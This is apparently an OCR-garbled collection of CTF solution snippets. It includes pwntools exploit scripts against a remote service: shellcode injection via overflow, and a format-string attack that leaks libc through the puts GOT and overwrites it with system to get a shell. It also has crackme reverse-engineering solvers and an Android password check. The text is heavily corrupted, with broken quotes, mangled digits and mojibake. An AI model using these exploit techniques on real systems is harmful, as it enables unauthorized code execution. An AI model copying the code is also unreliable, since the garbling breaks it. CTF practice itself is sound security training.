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from pwn import *
context(os="linux',arch="amd64',log_level='debug"')
p = remote('120.55.43.255',11002)
p.recvuntil('ID:\n")
p.sendline(asm(shellcraft.sh()))

recharge_addr = 0x0000000000400A6F

sh_addr = 0x00000000006020E0Q
p.recvuntil('choice:\n")

p.sendline('Check' + 11 * 'a' + p64(sh_addr))
p.interactive()
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AR AEEFEREY, EREWHER: flagisin/fag
REMITUHER, TAZER— N ENEE, TRMiEpayloadh:
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if ( v5 - 1 != strlen(aH5wg2gMcifTlou) )

sub_404A58(aYouBadGuy) ;
return -1;
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for (1 =8; 1 <= (si

n
']
=l

int)(vs - 2); ++1 )
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89 || v& < 65 )

if (v8 > 122 || v8 < 97 )
continue;
vd = (v8 - 83) % 26 + 97;

Vo = (v8 - 51) % 26 + 65;

v1@[i] = v9;
¥
if ( !stromp(aHSwg2gMcifTlou, vi18) )
{
sub_404A50(alAgreeWithYouD);
system(aPause);
result = A:
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import sys
def get(str):

i = ord(str)

if i > 90 or i < 65:

if i > 122 or i < 97:

return i

return (i - 83) % 26 + 97
else:

return (i - 51) % 26 + 65

if __name__ == '__main__"':

a = 'H5wg_2g MCif _Tlou_v7v7v'

str = '_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVIWXYZ'
arr = []
index = @

for i in a:
for j in str:
s = chr(get(j))
if s == i:
arr.append(j)
index = index+1
break
for i in arr:
sys.stdout.write(i)
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from pwn import *
import binascii
from LibcSearcher import *
#tcontext(os="linux',arch="1386"',log_level="'debug')
p = remote('120.55.43.255"',11001)
#./car AEERF
elf = ELF('./car")
puts_got = elf.got['puts']
i=1
while(1):
p.recvuntil('leave\n')
p.sendline('AAAA% ' +str(i)+'$x")
data = p.recv(12)
if '41414141' in data:
#print data

offset = 1
print offset
break

i+=1

p.recvuntil('leave\n')

p.sendline( p32(puts_got) + '%' + str(offset) + '$s')
puts_addr = p.recv(8)[4:]

puts_addr = '@x' + binascii.hexlify(puts_addr[::-1])
log.success('puts real addr : ' + puts_addr)

obj = LibcSearcher('puts', int(puts_addr,16))

system_offset = obj.dump("system")
puts_offset = obj.dump('puts")
system_addr = int(puts_addr,16) - puts_offset + system_offset

log.success('system addr : + hex(system_addr))

#change puts_got to system_real_address

payload = fmtstr_payload(offset ,{puts_got: system_addr})
p.recvuntil('leave\n')

p.sendline(payload)

#change value Oxff to ©x66

p.recvuntil('leave\n')

payload ='%102c%51%$n"’

p.sendline(payload)

p.recvuntil('day")
p.sendline('/bin/sh")

p.interactive()
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package bin.crack.crackmel;

import android.os.Bundle;

import android.support.v7.app.AppCompatActivity;
import android.view.View;

import android.widget.EditText;

import android.widget.Toast;

public class MainActivity extends AppCompatActivity {
public EditText passWord;

/* access modifiers changed from: protected */

public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView((int) R.layout.activity main);
this.passWord = (EditText) findvViewById(R.id.password);

public void check(View view) {
if (this.passWord.getText().toString().isEmpty()) {
Toast.makeText(this, "AEEMEAHE", 1).show();
return;

}
if ("}YsAe_Os_si_dlORdNa{galf".equals(new StringBuilder(this.passWord.getText().toString()).reverse().to

String())) {
Toast.makeText(this, "flagiE#! ! ! ", 1).show();
} else {
Toast.makeText(this, "EiXiAM., . . ", 1).show();
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def funcl(num):

numl = 1
num2 = 2
num3 = 0@

for i in range(num - 3):
num3 = numl + num2
numl = num2
num2 = num3

return str(hex(num3))

def func2(num):

numl = 1

num2 = 2

num3 = 3

num4 = @

if(num == 1):
return 1

if(num == 2):
return 2

if num == 3:



return 3
for i in range(num - 4):

numé4 numl + num2 + num3

numl = num2
num2 = num3
num3 = num4
return str(hex(num4))
def func3(num):
numl = 1
num2 = 2
num3 = 3
num4 = 4
num5 = ©
if(num == 1):
return 1
if(num == 2):
return 2
if num ==
return 3
if num ==
return 4
for i in range(num - 5):

num5 numl + num2 + num3 + num4
numl = num2
num2 = num3
num3 = numé4
num4 = num5

return str(hex(num5))

def func4(num):
numl = 1
num2 =
num3 =
num4 =
num5 =

o U1 A W N

nume =
if(num == 1):
return 1
if(num == 2):
return 2
if num == 3:
return 3
if num ==
return 4
if num == 5:
return 5
for i in range(num - 6):
numé = numl + num2 + num3 + num4 + num5
numl = num2
num2 = num3
num3 = num4
num4 = num5
num5 = numé
return str(hex(numé))

if _name__ == '__main__":
n = ['33DB76A7C594BFC3"', "0CD36C2E32A371480"', '8CEE9FF3933365BC', '57373FE3C783A78F "', '59B322834BB73B59 "', '423719DD9
73C6AD3 ', '0C858FBEABF480DA3 ", '3CC8C789BA7B8135" ]
s = [1,1,1,1,1,1,1]



index = 0@
while index <= 7:

v3 = 0

vl = 0

for i in range(3):

for j in range(90,200):
if str(funcl(j)).find(n[index].lower())!= -1 or str(func2(j)).find(n[index].lower())!= -1 or str(func3(j)).f

ind(n[index].lower())!= -1 or str(func4(j)).find(n[index].lower())!= -1:

v =1
print j-1
vl = vil+l
break
if (v3 == 1):
break

index = index+1
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